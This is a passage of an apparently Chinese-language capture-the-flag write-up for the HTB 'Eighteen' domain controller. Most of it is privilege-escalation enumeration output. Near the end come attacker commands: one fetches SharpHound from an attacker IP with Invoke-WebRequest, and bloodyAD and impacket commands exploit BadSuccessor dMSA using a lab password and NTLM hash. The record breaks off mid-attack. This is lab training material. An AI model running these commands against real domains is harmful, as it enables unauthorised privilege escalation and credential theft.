  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING       948
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       4088
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING       2440
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       672
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       1480
  TCP    0.0.0.0:49675          0.0.0.0:0              LISTENING       1148
  TCP    0.0.0.0:49676          0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:49677          0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:49680          0.0.0.0:0              LISTENING       816
  TCP    0.0.0.0:49686          0.0.0.0:0              LISTENING       808
  TCP    0.0.0.0:49711          0.0.0.0:0              LISTENING       2580
  TCP    0.0.0.0:53380          0.0.0.0:0              LISTENING       2520
  TCP    10.10.11.95:53         0.0.0.0:0              LISTENING       2580
  TCP    10.10.11.95:139        0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       2580
  TCP    127.0.0.1:1434         0.0.0.0:0              LISTENING       4088
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:88                [::]:0                 LISTENING       816
  TCP    [::]:135               [::]:0                 LISTENING       948
  TCP    [::]:389               [::]:0                 LISTENING       816
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:464               [::]:0                 LISTENING       816
  TCP    [::]:593               [::]:0                 LISTENING       948
  TCP    [::]:636               [::]:0                 LISTENING       816
  TCP    [::]:1433              [::]:0                 LISTENING       4088
  TCP    [::]:3268              [::]:0                 LISTENING       816
  TCP    [::]:3269              [::]:0                 LISTENING       816
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:9389              [::]:0                 LISTENING       2440
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       816
  TCP    [::]:49665             [::]:0                 LISTENING       672
  TCP    [::]:49666             [::]:0                 LISTENING       816
  TCP    [::]:49668             [::]:0                 LISTENING       1480
  TCP    [::]:49675             [::]:0                 LISTENING       1148
  TCP    [::]:49676             [::]:0                 LISTENING       816
  TCP    [::]:49677             [::]:0                 LISTENING       816
  TCP    [::]:49680             [::]:0                 LISTENING       816
  TCP    [::]:49686             [::]:0                 LISTENING       808
  TCP    [::]:49711             [::]:0                 LISTENING       2580
  TCP    [::]:53380             [::]:0                 LISTENING       2520
  TCP    [::1]:53               [::]:0                 LISTENING       2580
  TCP    [::1]:1434             [::]:0                 LISTENING       4088
  TCP    [dead:beef::d2e0:49f1:98bb:efc8]:53  [::]:0                 LISTENING       2580
  TCP    [fe80::ce16:4869:d1d:d08c%3]:53  [::]:0                 LISTENING       2580

 0x1B[33m[+]0x1B[97m FIREWALL

Firewall status:
-------------------------------------------------------------------
Profile                           = Domain
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Disable
Group policy version              = Windows Defender Firewall
Remote admin mode                 = Disable

Ports currently open on all network interfaces:
Port   Protocol  Version  Program
-------------------------------------------------------------------
53     UDP       Any      (null)
5985   TCP       Any      (null)
1433   TCP       Any      (null)
80     TCP       Any      (null)
5985   TCP       Any      (null)

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .



Domain profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Disable

Allowed programs configuration for Domain profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------

Port configuration for Domain profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------
53     UDP       Enable  Inbound               Allow DNS - Domain Only
5985   TCP       Enable  Inbound               Allow WinRM - Any IP
1433   TCP       Enable  Inbound               Allow MSSQL - Any IP
80     TCP       Enable  Inbound               Allow HTTP - Any IP
5985   TCP       Enable  Inbound               Allow WinRM
5000   TCP       Disable Inbound               Web App over 5000
1433   TCP       Disable Inbound               SQL Server TCP 1433

Standard profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable
Multicast/broadcast response mode = Enable
Notification mode                 = Disable

Allowed programs configuration for Standard profile:
Mode     Traffic direction    Name / Program
-------------------------------------------------------------------

Port configuration for Standard profile:
Port   Protocol  Mode    Traffic direction     Name
-------------------------------------------------------------------
53     UDP       Enable  Inbound               Allow DNS - Domain Only
5985   TCP       Enable  Inbound               Allow WinRM - Any IP
1433   TCP       Enable  Inbound               Allow MSSQL - Any IP
80     TCP       Enable  Inbound               Allow HTTP - Any IP
5985   TCP       Enable  Inbound               Allow WinRM
5000   TCP       Disable Inbound               Web App over 5000
1433   TCP       Disable Inbound               SQL Server TCP 1433

Log configuration:
-------------------------------------------------------------------
File location   = C:\WINDOWS\system32\LogFiles\Firewall\pfirewall.log
Max file size   = 4096 KB
Dropped packets = Disable
Connections     = Disable

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .



 0x1B[33m[+]0x1B[97m ARP

Interface: 10.10.11.95 --- 0x3
  Internet Address      Physical Address      Type
  10.10.10.2            00-50-56-b9-23-97     dynamic   
  10.10.11.78           00-50-56-b9-46-a9     dynamic   
  10.10.11.89           00-50-56-b9-4a-92     dynamic   
  10.10.11.93           00-50-56-b9-0a-ed     dynamic   
  10.10.11.255          ff-ff-ff-ff-ff-ff     static    
  224.0.0.22            01-00-5e-00-00-16     static    
  224.0.0.252           01-00-5e-00-00-fc     static    

 0x1B[33m[+]0x1B[97m ROUTES
===========================================================================
Interface List
  3...00 50 56 b9 7c 1e ......vmxnet3 Ethernet Adapter
  1...........................Software Loopback Interface 1
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0       10.10.10.2      10.10.11.95     16
       10.10.10.0    255.255.254.0         On-link       10.10.11.95    271
      10.10.11.95  255.255.255.255         On-link       10.10.11.95    271
     10.10.11.255  255.255.255.255         On-link       10.10.11.95    271
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    331
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    331
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    331
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    331
        224.0.0.0        240.0.0.0         On-link       10.10.11.95    271
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    331
  255.255.255.255  255.255.255.255         On-link       10.10.11.95    271
===========================================================================
Persistent Routes:
  Network Address          Netmask  Gateway Address  Metric
          0.0.0.0          0.0.0.0       10.10.10.2       1
===========================================================================

IPv6 Route Table
===========================================================================
Active Routes:
 If Metric Network Destination      Gateway
  3    271 ::/0                     fe80::250:56ff:feb9:2397
  1    331 ::1/128                  On-link
  3    271 dead:beef::/64           On-link
  3    271 dead:beef::d2e0:49f1:98bb:efc8/128
                                    On-link
  3    271 fe80::/64                On-link
  3    271 fe80::ce16:4869:d1d:d08c/128
                                    On-link
  1    331 ff00::/8                 On-link
  3    271 ff00::/8                 On-link
===========================================================================
Persistent Routes:
  None

 0x1B[33m[+]0x1B[97m Hosts file

 0x1B[33m[+]0x1B[97m DNS CACHE
    Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.DomainDnsZones.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _gc._tcp.Default-First-Site-Name._sites.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _kerberos._tcp.Default-First-Site-Name._sites.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _gc._tcp.DC01.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.pdc._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _kpasswd._udp.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.DC01.eighteen.htb.
    Record Name . . . . . : DomainDnsZones.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : ForestDnsZones.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _gc._tcp.Default-First-Site-Name._sites.DC01.eighteen.htb.
    Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.DomainDnsZones.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.ForestDnsZones.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : EIGHTEEN.htb
    Record Name . . . . . : EIGHTEEN.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.DC01.eighteen.htb.
    Record Name . . . . . : 9fe36514-8a7d-4515-95fa-ee82d3143068._msdcs.eighteen.htb
    Record Name . . . . . : _kerberos._tcp.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.ffbf214a-6cd4-464a-940d-22fdbae2d036.domains._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _kpasswd._tcp.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.gc._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : gc._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.dc._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _gc._tcp.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _kerberos._udp.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.eighteen.htb.
    Record Name . . . . . : eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb
    Record Name . . . . . : _kerberos._tcp.dc._msdcs.eighteen.htb.
    Record Name . . . . . : _msdcs.eighteen.htb
    Record Name . . . . . : dc01.eighteen.htb
    A (Host) Record . . . : 10.10.11.95
    Record Name . . . . . : dc01.eighteen.htb

 0x1B[33m[+]0x1B[97m WIFI
0x1B[32m[*]0x1B[97m BASIC USER INFO
   [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups

 0x1B[33m[+]0x1B[97m CURRENT USER
User name                    adam.scott
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/29/2025 4:42:11 AM
Password expires             Never
Password changeable          10/29/2025 4:42:11 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   11/19/2025 12:35:19 AM

Logon hours allowed          All

Local Group Memberships      
Global Group memberships     *IT                   *Domain Users         
The command completed successfully.

User name                    adam.scott
Full Name                    
Comment                      
User's comment               
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/29/2025 4:42:11 AM
Password expires             Never
Password changeable          10/29/2025 4:42:11 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   11/19/2025 12:35:19 AM

Logon hours allowed          All

Local Group Memberships      
Global Group memberships     *IT                   *Domain Users         
The command completed successfully.


USER INFORMATION
----------------

User Name           SID                                          
=================== =============================================
eighteen\adam.scott S-1-5-21-1152179935-589108180-1989892463-1609


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes                                        
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT                                Group            S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192                                                                                     


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

 0x1B[33m[+]0x1B[97m USERS

User accounts for \\

-------------------------------------------------------------------------------
adam.scott               Administrator            alice.jones              
bob.brown                carol.white              dave.green               
Guest                    jamie.dunn               jane.smith               
krbtgt                   mssqlsvc                 
The command completed with one or more errors.


 0x1B[33m[+]0x1B[97m GROUPS

Aliases for \\DC01

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Account Operators
*Administrators
*Allowed RODC Password Replication Group
*Backup Operators
*Cert Publishers
*Certificate Service DCOM Access
*Cryptographic Operators
*Denied RODC Password Replication Group
*Distributed COM Users
*DnsAdmins
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Incoming Forest Trust Builders
*Network Configuration Operators
*OpenSSH Users
*Performance Log Users
*Performance Monitor Users
*Pre-Windows 2000 Compatible Access
*Print Operators
*RAS and IAS Servers
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Server Operators
*SQLServer2005SQLBrowserUser$DC01
*Storage Replica Administrators
*Terminal Server License Servers
*Users
*Windows Authorization Access Group
The command completed successfully.


 0x1B[33m[+]0x1B[97m ADMINISTRATORS GROUPS
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.

 
 0x1B[33m[+]0x1B[97m CURRENT LOGGED USERS
 
 0x1B[33m[+]0x1B[97m Kerberos Tickets

Current LogonId is 0:0x169f4d
Error calling API LsaCallAuthenticationPackage (ShowTickets substatus): 1312

klist failed with 0xc000005f/-1073741729: A specified logon session does not exist. It may already have been terminated.


 
 0x1B[33m[+]0x1B[97m CURRENT CLIPBOARD
   [i] Any passwords inside the clipboard?

0x1B[32m[*]0x1B[97m SERVICE VULNERABILITIES

 0x1B[33m[+]0x1B[97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services

 0x1B[33m[+]0x1B[97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services

 0x1B[33m[+]0x1B[97m UNQUOTED SERVICE PATHS
   [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
   [i] The permissions are also checked and filtered using icacls
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services

0x1B[32m[*]0x1B[97m DLL HIJACKING in PATHenv variable
   [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
   [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
C:\WINDOWS\system32 NT SERVICE\TrustedInstaller:(F)
 
C:\WINDOWS NT SERVICE\TrustedInstaller:(F)
 
C:\WINDOWS\System32\Wbem NT SERVICE\TrustedInstaller:(F)
 
C:\Users\adam.scott\AppData\Local\Microsoft\WindowsApps NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                                                        EIGHTEEN\adam.scott:(OI)(CI)(F)
 

0x1B[32m[*]0x1B[97m CREDENTIALS

 0x1B[33m[+]0x1B[97m WINDOWS VAULT
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault

Currently stored credentials:

* NONE *

 0x1B[33m[+]0x1B[97m DPAPI MASTER KEYS
   [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
 0x1B[33m[+]0x1B[97m DPAPI MASTER KEYS
   [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
   [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi

Looking inside C:\Users\adam.scott\AppData\Roaming\Microsoft\Credentials\


Looking inside C:\Users\adam.scott\AppData\Local\Microsoft\Credentials\


 0x1B[33m[+]0x1B[97m Unattended files

 0x1B[33m[+]0x1B[97m SAM and SYSTEM backups
C:\WINDOWS\System32\config\RegBack\SAM exists.
C:\WINDOWS\System32\config\SAM exists.
C:\WINDOWS\System32\config\SYSTEM exists.
C:\WINDOWS\System32\config\RegBack\SYSTEM exists.

 0x1B[33m[+]0x1B[97m McAffee SiteList.xml
 Volume in drive C has no label.
 Volume Serial Number is E154-392A
 Volume in drive C has no label.
 Volume Serial Number is E154-392A
 Volume in drive C has no label.
 Volume Serial Number is E154-392A
 Volume in drive C has no label.
 Volume Serial Number is E154-392A

 0x1B[33m[+]0x1B[97m GPP Password

 0x1B[33m[+]0x1B[97m Cloud Credentials

 0x1B[33m[+]0x1B[97m AppCmd
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
C:\WINDOWS\system32\inetsrv\appcmd.exe exists. 

 0x1B[33m[+]0x1B[97m Files in registry that may contain credentials
   [i] Searching specific files that may contains credentials.
   [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
Looking inside HKCU\Software\ORL\WinVNC3\Password
Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
    W3SVC    REG_SZ    Software\Microsoft\W3SVC\CurrentVersion

Looking inside HKCU\Software\TightVNC\Server
Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
Looking inside HKCU\Software\OpenSSH\Agent\Keys
C:\Windows\Panther\setupinfo
C:\Windows\System32\ntds.dit
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\SYSTEM
C:\Windows\System32\inetsrv\appcmd.exe
C:\Windows\SysWOW64\inetsrv\appcmd.exe
C:\Windows\WinSxS\amd64_ipamprov-dcnps_31bf3856ad364e35_10.0.26100.1_none_9d2b56c4fa8170ef\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_ipamprov-dhcp_31bf3856ad364e35_10.0.26100.1_none_711de9cf5b883578\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_ipamprov-dns_31bf3856ad364e35_10.0.26100.1_none_8e7ff435ff83ab16\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_microsoft-windows-d..rvices-domain-files_31bf3856ad364e35_10.0.26100.1_none_97feb69aabeca891\ntds.dit
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.1150_none_4572dc061ff88008\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.3775_none_45338ef62027d4cf\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.3775_none_45338ef62027d4cf\r\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-webenroll.resources_31bf3856ad364e35_10.0.26100.1_en-us_805d1a6bcb132150\certnew.cer
C:\Windows\WinSxS\wow64_ipamprov-dcnps_31bf3856ad364e35_10.0.26100.1_none_a78001172ee232ea\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_ipamprov-dhcp_31bf3856ad364e35_10.0.26100.1_none_7b7294218fe8f773\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_ipamprov-dns_31bf3856ad364e35_10.0.26100.1_none_98d49e8833e46d11\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.1_none_b0d3de420cfbf405\appcmd.exe
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.3775_none_4f883948548896ca\appcmd.exe
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.26100.3775_none_4f883948548896ca\r\appcmd.exe
C:\inetpub\Default\web.config
C:\inetpub\eighteen.htb\web.config
C:\inetpub\logs\LogFiles\W3SVC2\u_ex251111.log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex251119.log

---
Scan complete.

同时,再使用 bloodhound 的sharphound.exe 来进行收集

Invoke-WebRequest -Uri 'http://10.10.16.69:8089/SharpHound.exe' -OutFile "$env:USERPROFILE\Desktop\SharpHound.exe"

然后下载下来,上传到 bloodhound 来进行分析,并且设置为已经拥有的

然后再去查询一下

就可以想办法提权了,这里提权的过程太多,就不展示了,因为最后发现不能这样提,在利用了所有以及知道的漏洞以后,发现在开始的时候忽略了一个重要的信息,就是他的版本是Windows Server 2025 Build 26100,这个在nxc扫描的时候会显示出来,而在nmap的时候并没有展示,这个时候就想起了一个Windows Server 2025 Build 26100最新的漏洞 BadSuccessor - Active Directory权限提升漏洞,在使用检测工具之后发现,确实存在这个漏洞

C:\Users\adam.scott\Desktop> .\Get-BadSuccessorOUPermissions.ps1

Identity    OUs
--------    ---
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}

在 Windows Server 2025 中,Microsoft 引入了委派托管服务帐户 (dMSA) 功能。dMSA 是 Active Directory (AD) 中的一种新型服务帐户,用于扩展组托管服务账户的功能。dMSA 的一项主要功能是,它能够通过将现有的非托管服务帐户无缝转换为 dMSA 来迁移这些帐户。这里如果想要去研究这个漏洞的原理的话可以直接去搜索。
dentity: 具有创建dMSA权限的用户或服务账户
OUs: 对应身份具有权限的组织单位列表
现在对BadSuccessor - Active Directory权限提升漏洞进行利用,首先这里使用的是 ligolo-proxy,工具使用就不操作了,这里上传agent.exe 然后连接就行

首先使用 bloodyAD 创建计算机账户 hackheart,并将其放在 OU=Staff,DC=eighteen,DC=htb。

bloodyAD --dc-ip 240.0.0.1 -d eighteen.htb -u adam.scott -p iloveyou1 \
  add computer hackheart 'QWEqwe123@!@#cca' \
  --ou 'OU=Staff,DC=eighteen,DC=htb'

为 hackheart$ 设置 RBCD 权限,允许它代表任意用户。

bloodyAD --dc-ip 240.0.0.1 -d eighteen.htb -u adam.scott -p iloveyou1 \
  add rbcd hackheart$ S-1-5-10

使用计算出的 NTLM 哈希值获取 hackheart$ 的 TGT。

impacket-getTGT -dc-ip 240.0.0.1 eighteen.htb/hackheart$ -hashes :e1ef97f47aa5e6ae5259b3d26fced36b

获取 TGT 后,使用 impacket-getST 获取 Silver Ticket,代表 Administrator 访问 ldap/dc01.eighteen.htb 服务。

export KRB5CCNAME=hackheart$.ccache
